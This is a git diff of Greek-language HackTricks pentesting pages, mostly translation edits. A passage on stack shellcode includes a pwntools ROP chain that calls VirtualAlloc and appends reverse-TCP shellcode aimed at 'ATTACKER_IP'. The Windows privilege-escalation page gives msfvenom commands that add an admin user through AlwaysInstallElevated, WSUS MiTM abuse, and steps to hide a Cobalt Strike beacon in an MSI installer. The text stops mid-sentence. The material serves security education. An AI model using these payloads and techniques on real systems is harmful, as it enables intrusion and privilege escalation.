ορίζει το r9 από το rbx, μηδενίζει το r8 και αντισταθμίζει το stack με ένα junk qword. +- xor rbx, rsp; ret → γεμίζει το rbx με τον τρέχοντα stack pointer. +- push rbx; pop rax; mov rcx, rax; ret → μεταφέρει τιμή προερχόμενη από RSP στο RCX. + +Παράδειγμα Pwntools (δεδομένη μια γνωστή base και gadgets): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): +rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` +Συμβουλές: +- VirtualProtect λειτουργεί παρόμοια αν προτιμάται να κάνετε ένα υπάρχον buffer RX· η σειρά των παραμέτρων είναι διαφορετική. +- Αν ο χώρος στο stack είναι περιορισμένος, εκχωρήστε RWX αλλού (RCX=NULL) και κάντε jmp σε αυτή τη νέα περιοχή αντί να επαναχρησιμοποιήσετε το stack. +- Πάντοτε λαμβάνετε υπόψη gadgets που προσαρμόζουν το RSP (π.χ., add rsp, 8; ret) εισάγοντας junk qwords. + + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **πρέπει να απενεργοποιηθεί** για να είναι η διεύθυνση αξιόπιστη ανάμεσα στις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποιο leak για να καταλάβετε πού φορτώνεται η win function. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να απενεργοποιηθούν, αλλιώς η παραβιασμένη διεύθυνση επιστροφής του EIP δεν θα ακολουθηθεί ποτέ. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection θα αποτρέψει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη. ## Άλλα Παραδείγματα & Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό +- 64bit, ASLR με leak διεύθυνσης stack, γράψτε shellcode και κάντε jump σε αυτό - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό +- 32 bit, ASLR με leak στο stack, γράψτε shellcode και κάντε jump σε αυτό - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό +- 32 bit, ASLR με leak στο stack, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικατάσταση μιας μεταβλητής με μια τιμή και γράψτε shellcode και κάντε jump σε αυτό - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα +- arm64, χωρίς ASLR, ROP gadget για να κάνει το stack εκτελέσιμο και να κάνει jump στο shellcode στο stack + + +## Αναφορές + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 6073f3283..cab6fc592 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Καλύτερο εργαλείο για αναζήτηση παραγόντων τοπικής κλιμάκωσης δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Καλύτερο εργαλείο για αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Αρχική Θεωρία Windows +## Initial Windows Theory -### Διακριτικά Πρόσβασης +### Access Tokens -**Αν δεν ξέρετε τι είναι τα Διακριτικά Πρόσβασης Windows, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:** +**Αν δεν ξέρετε τι είναι τα Windows Access Tokens, διαβάστε την παρακάτω σελίδα πριν συνεχίσετε:** {{#ref}} @@ -17,36 +17,36 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα ACLs - DACLs/SACLs/ACEs:** +**Δείτε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με ACLs - DACLs/SACLs/ACEs:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### Επίπεδα Ακεραιότητας +### Integrity Levels -**Αν δεν ξέρετε τι είναι τα επίπεδα ακεραιότητας στα Windows, θα πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:** +**Αν δεν ξέρετε τι είναι τα integrity levels στα Windows πρέπει να διαβάσετε την παρακάτω σελίδα πριν συνεχίσετε:** {{#ref}} integrity-levels.md {{#endref}} -## Έλεγχοι Ασφαλείας Windows +## Windows Security Controls -Υπάρχουν διάφορα πράγματα στα Windows που θα μπορούσαν να **σας εμποδίσουν να καταγράψετε το σύστημα**, να εκτελέσετε εκτελέσιμα ή ακόμα και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την καταγραφή κλιμάκωσης δικαιωμάτων: +Υπάρχουν διάφορα στοιχεία στα Windows που μπορούν να **εμποδίσουν την enumeration του συστήματος**, να εκτελέσετε executables ή ακόμη και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταγράψετε** όλους αυτούς τους μηχανισμούς **άμυνας** πριν ξεκινήσετε την enumeration για privilege escalation: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Πληροφορίες Συστήματος +## System Info -### Καταγραφή πληροφοριών έκδοσης +### Version info enumeration -Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα εφαρμοσμένα patches). +Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα patches που έχουν εφαρμοστεί). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,9 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Εκμεταλλεύσεις εκδόσεων -Αυτή η [ιστοσελίδα](https://msrc.microsoft.com/update-guide/vulnerability) είναι χρήσιμη για την αναζήτηση λεπτομερών πληροφοριών σχετικά με τις ευπάθειες ασφαλείας της Microsoft. Αυτή η βάση δεδομένων έχει περισσότερες από 4,700 ευπάθειες ασφαλείας, δείχνοντας την **μαζική επιφάνεια επίθεσης** που παρουσιάζει ένα περιβάλλον Windows. +Αυτός ο [site](https://msrc.microsoft.com/update-guide/vulnerability) είναι χρήσιμος για την αναζήτηση λεπτομερών πληροφοριών σχετικά με ευπάθειες ασφαλείας της Microsoft. Αυτή η βάση δεδομένων έχει περισσότερες από 4.700 ευπάθειες ασφαλείας, δείχνοντας την **τεράστια επιφάνεια επίθεσης** που παρουσιάζει ένα περιβάλλον Windows. **Στο σύστημα** @@ -75,21 +75,21 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos των exploits:** +**Αποθετήρια GitHub με exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment +### Περιβάλλον -Υπάρχουν διαπιστευτήρια/ζουμερές πληροφορίες αποθηκευμένες στις μεταβλητές περιβάλλοντος; +Υπάρχουν διαπιστευτήρια/χρήσιμες πληροφορίες αποθηκευμένες στις μεταβλητές περιβάλλοντος; ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` -### Ιστορικό PowerShell +### PowerShell Ιστορικό ```bash ConsoleHost_history #Find the PATH where is saved @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript αρχεία +### Αρχεία καταγραφής Transcript του PowerShell Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Λεπτομέρειες εκτέλεσης της ροής PowerShell καταγράφονται, περιλαμβάνοντας εκτελούμενες εντολές, κλήσεις εντολών και μέρη σεναρίων. Ωστόσο, οι πλήρεις λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου ενδέχεται να μην καταγράφονται. +Καταγράφονται λεπτομέρειες των εκτελέσεων του PowerShell pipeline, που περιλαμβάνουν τις εκτελεσμένες εντολές, τις κλήσεις εντολών και τμήματα από scripts. Ωστόσο, δεν είναι απαραίτητο να καταγραφούν πλήρως όλες οι λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου. Για να το ενεργοποιήσετε, ακολουθήστε τις οδηγίες στην ενότητα "Transcript files" της τεκμηρίωσης, επιλέγοντας **"Module Logging"** αντί για **"Powershell Transcription"**. ```bash @@ -125,20 +125,20 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Για να δείτε τα τελευταία 15 γεγονότα από τα αρχεία καταγραφής του PowersShell, μπορείτε να εκτελέσετε: +Για να δείτε τα τελευταία 15 events από τα PowersShell logs μπορείτε να εκτελέσετε: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Ένα πλήρες αρχείο δραστηριότητας και περιεχομένου της εκτέλεσης του script καταγράφεται, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα εκτενές ίχνος ελέγχου κάθε δραστηριότητας, πολύτιμο για τη forensic ανάλυση και την ανάλυση κακόβουλης συμπεριφοράς. Με την τεκμηρίωση όλων των δραστηριοτήτων τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. +Καταγράφεται πλήρες αρχείο δραστηριότητας και το πλήρες περιεχόμενο της εκτέλεσης του script, διασφαλίζοντας ότι κάθε μπλοκ κώδικα τεκμηριώνεται καθώς εκτελείται. Η διαδικασία αυτή διατηρεί ένα ολοκληρωμένο audit trail για κάθε ενέργεια, πολύτιμο για forensics και την ανάλυση κακόβουλης συμπεριφοράς. Η τεκμηρίωση όλων των ενεργειών τη στιγμή της εκτέλεσης παρέχει λεπτομερείς πληροφορίες για τη διαδικασία. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν μέσα στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Η καταγραφή συμβάντων για το Script Block μπορεί να βρεθεί στο Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Για να δείτε τα τελευταία 20 γεγονότα μπορείτε να χρησιμοποιήσετε: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -148,7 +148,7 @@ Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` -### Δίσκοι +### Μονάδες δίσκου ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername @@ -158,15 +158,15 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Μπορείτε να παραβιάσετε το σύστημα αν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας http**S** αλλά http. -Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μια μη SSL ενημέρωση WSUS εκτελώντας το εξής στο cmd: +Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί non-SSL WSUS update εκτελώντας την παρακάτω εντολή στο cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Ή το παρακάτω σε PowerShell: +Ή το ακόλουθο σε PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Αν λάβετε μια απάντηση όπως μία από αυτές: +Εάν λάβετε μια απάντηση όπως μία από αυτές: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Και αν `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ή `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` είναι ίσο με `1`. -Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώρηση μητρώου είναι ίση με 0, τότε, η είσοδος WSUS θα αγνοηθεί. +Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία τιμή μητρώου είναι ίση με 0, τότε η καταχώρηση WSUS θα αγνοηθεί. -Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι όπλα MiTM εκμετάλλευσης για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία. +Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι MiTM weaponized exploit scripts για την ένεση 'ψεύτικων' ενημερώσεων στην μη-SSL WSUS κίνηση. Διαβάστε την έρευνα εδώ: @@ -194,26 +194,26 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Διαβάστε την πλήρη αναφορά εδώ**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Βασικά, αυτό είναι το σφάλμα που εκμεταλλεύεται αυτό το bug: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Βασικά, αυτή είναι η αδυναμία που εκμεταλλεύεται αυτό το bug: -> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο. +> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό user proxy μας, και τα Windows Updates χρησιμοποιούν τον proxy που έχει οριστεί στις ρυθμίσεις του Internet Explorer, έχουμε επομένως τη δυνατότητα να τρέξουμε το [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παρεμβάλουμε την κίνησή μας και να εκτελέσουμε κώδικα ως αυξημένος χρήστης στη συσκευή μας. > -> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία. +> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το certificate store του. Αν δημιουργήσουμε ένα self-signed certificate για το WSUS hostname και προσθέσουμε αυτό το certificate στο certificate store του τρέχοντος χρήστη, θα είμαστε σε θέση να παρεμβάλουμε τόσο την HTTP όσο και την HTTPS WSUS κίνηση. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS-like για να εφαρμόσει έναν trust-on-first-use τύπο επικύρωσης στο certificate. Αν το certificate που παρουσιαστεί είναι trusted από τον χρήστη και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία. -Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί). +Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (όταν απελευθερωθεί). ## KrbRelayUp -Μια **ευπάθεια τοπικής ανύψωσης δικαιωμάτων** υπάρχει σε περιβάλλοντα **τομέα** των Windows υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **η υπογραφή LDAP δεν επιβάλλεται,** οι χρήστες διαθέτουν αυτο-δικαιώματα που τους επιτρέπουν να ρυθμίζουν **Resource-Based Constrained Delegation (RBCD),** και τη δυνατότητα για τους χρήστες να δημιουργούν υπολογιστές εντός του τομέα. Είναι σημαντικό να σημειωθεί ότι αυτές οι **απαιτήσεις** πληρούνται χρησιμοποιώντας **προεπιλεγμένες ρυθμίσεις**. +Υπάρχει μια **local privilege escalation** ευπάθεια σε Windows **domain** περιβάλλοντα υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **LDAP signing is not enforced,** οι χρήστες έχουν self-rights που τους επιτρέπουν να ρυθμίσουν **Resource-Based Constrained Delegation (RBCD),** και την ικανότητα των χρηστών να δημιουργούν computers στο domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι **απαιτήσεις** ικανοποιούνται με τις **default settings**. -Βρείτε την **εκμετάλλευση στο** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Βρείτε το **exploit στο** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης ελέγξτε [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης δείτε [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Αν** αυτές οι 2 καταχωρήσεις είναι **ενεργοποιημένες** (η τιμή είναι **0x1**), τότε οι χρήστες οποιουδήποτε δικαιώματος μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. +**Εάν** αυτές οι 2 εγγραφές μητρώου είναι **ενεργοποιημένες** (η τιμή είναι **0x1**), τότε χρήστες οποιουδήποτε επιπέδου δικαιωμάτων μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -223,70 +223,73 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Αν έχετε μια συνεδρία meterpreter, μπορείτε να αυτοματοποιήσετε αυτή την τεχνική χρησιμοποιώντας το module **`exploit/windows/local/always_install_elevated`** +Αν έχετε μια meterpreter συνεδρία, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module **`exploit/windows/local/always_install_elevated`** ### PowerUP -Χρησιμοποιήστε την εντολή `Write-UserAddMSI` από το power-up για να δημιουργήσετε μέσα στον τρέχοντα φάκελο ένα Windows MSI binary για να κλιμακώσετε τα δικαιώματα. Αυτό το script γράφει έναν προcompiled MSI installer που ζητάει προσθήκη χρήστη/ομάδας (έτσι θα χρειαστείτε πρόσβαση GIU): +Χρησιμοποιήστε την εντολή `Write-UserAddMSI` από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα Windows MSI binary για να αποκτήσετε αυξημένα προνόμια. Αυτό το script γράφει έναν προ-συντελεσμένο MSI installer που ζητά προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε πρόσβαση GIU): ``` Write-UserAddMSI ``` -Απλώς εκτελέστε το δημιουργημένο δυαδικό αρχείο για να κλιμακώσετε τα δικαιώματα. +Απλά εκτελέστε το δημιουργημένο binary για να αυξήσετε τα προνόμια. ### MSI Wrapper -Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**. +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** + {{#ref}} msi-wrapper.md {{#endref}} -### Δημιουργία MSI με WIX +### Create MSI with WIX + {{#ref}} create-msi-with-wix.md {{#endref}} -### Δημιουργία MSI με Visual Studio +### Create MSI with Visual Studio -- **Δημιουργήστε** με το Cobalt Strike ή το Metasploit ένα **νέο Windows EXE TCP payload** στο `C:\privesc\beacon.exe` -- Ανοίξτε το **Visual Studio**, επιλέξτε **Δημιουργία νέου έργου** και πληκτρολογήστε "installer" στο πλαίσιο αναζήτησης. Επιλέξτε το έργο **Setup Wizard** και κάντε κλικ στο **Επόμενο**. -- Δώστε στο έργο ένα όνομα, όπως **AlwaysPrivesc**, χρησιμοποιήστε **`C:\privesc`** για την τοποθεσία, επιλέξτε **τοποθετήστε τη λύση και το έργο στον ίδιο φάκελο**, και κάντε κλικ στο **Δημιουργία**. -- Συνεχίστε να κάνετε κλικ στο **Επόμενο** μέχρι να φτάσετε στο βήμα 3 από 4 (επιλέξτε αρχεία προς συμπερίληψη). Κάντε κλικ στο **Προσθήκη** και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Στη συνέχεια, κάντε κλικ στο **Τέλος**. -- Επισημάνετε το έργο **AlwaysPrivesc** στο **Solution Explorer** και στις **Ιδιότητες**, αλλάξτε το **TargetPlatform** από **x86** σε **x64**. -- Υπάρχουν άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο **Συγγραφέας** και ο **Κατασκευαστής** που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. -- Κάντε δεξί κλικ στο έργο και επιλέξτε **Προβολή > Προσαρμοσμένες Ενέργειες**. -- Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**. -- Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload εκτελείται μόλις εκτελείται ο εγκαταστάτης. -- Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**. -- Τέλος, **κατασκευάστε το**. -- Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64. +- **Δημιουργήστε** με Cobalt Strike ή Metasploit ένα **νέο Windows EXE TCP payload** στο `C:\privesc\beacon.exe` +- Ανοίξτε **Visual Studio**, επιλέξτε **Create a new project** και πληκτρολογήστε "installer" στο πεδίο αναζήτησης. Επιλέξτε το έργο **Setup Wizard** και κάντε κλικ στο **Next**. +- Δώστε στο project ένα όνομα, όπως **AlwaysPrivesc**, χρησιμοποιήστε **`C:\privesc`** για τη θέση, επιλέξτε **place solution and project in the same directory**, και κάντε κλικ στο **Create**. +- Συνεχίστε να πατάτε **Next** μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο **Add** και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα πατήστε **Finish**. +- Επισημάνετε το έργο **AlwaysPrivesc** στο **Solution Explorer** και στις **Properties**, αλλάξτε το **TargetPlatform** από **x86** σε **x64**. +- Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως **Author** και **Manufacturer**, που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. +- Κάντε δεξί κλικ στο project και επιλέξτε **View > Custom Actions**. +- Κάντε δεξί κλικ στο **Install** και επιλέξτε **Add Custom Action**. +- Διπλό κλικ στο **Application Folder**, επιλέξτε το αρχείο **beacon.exe** και πατήστε **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελεστεί μόλις τρέξει ο installer. +- Στις **Custom Action Properties**, αλλάξτε **Run64Bit** σε **True**. +- Τέλος, **build it**. +- Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64. -### Εγκατάσταση MSI +### MSI Installation -Για να εκτελέσετε την **εγκατάσταση** του κακόβουλου αρχείου `.msi` στο **παρασκήνιο:** +Για να 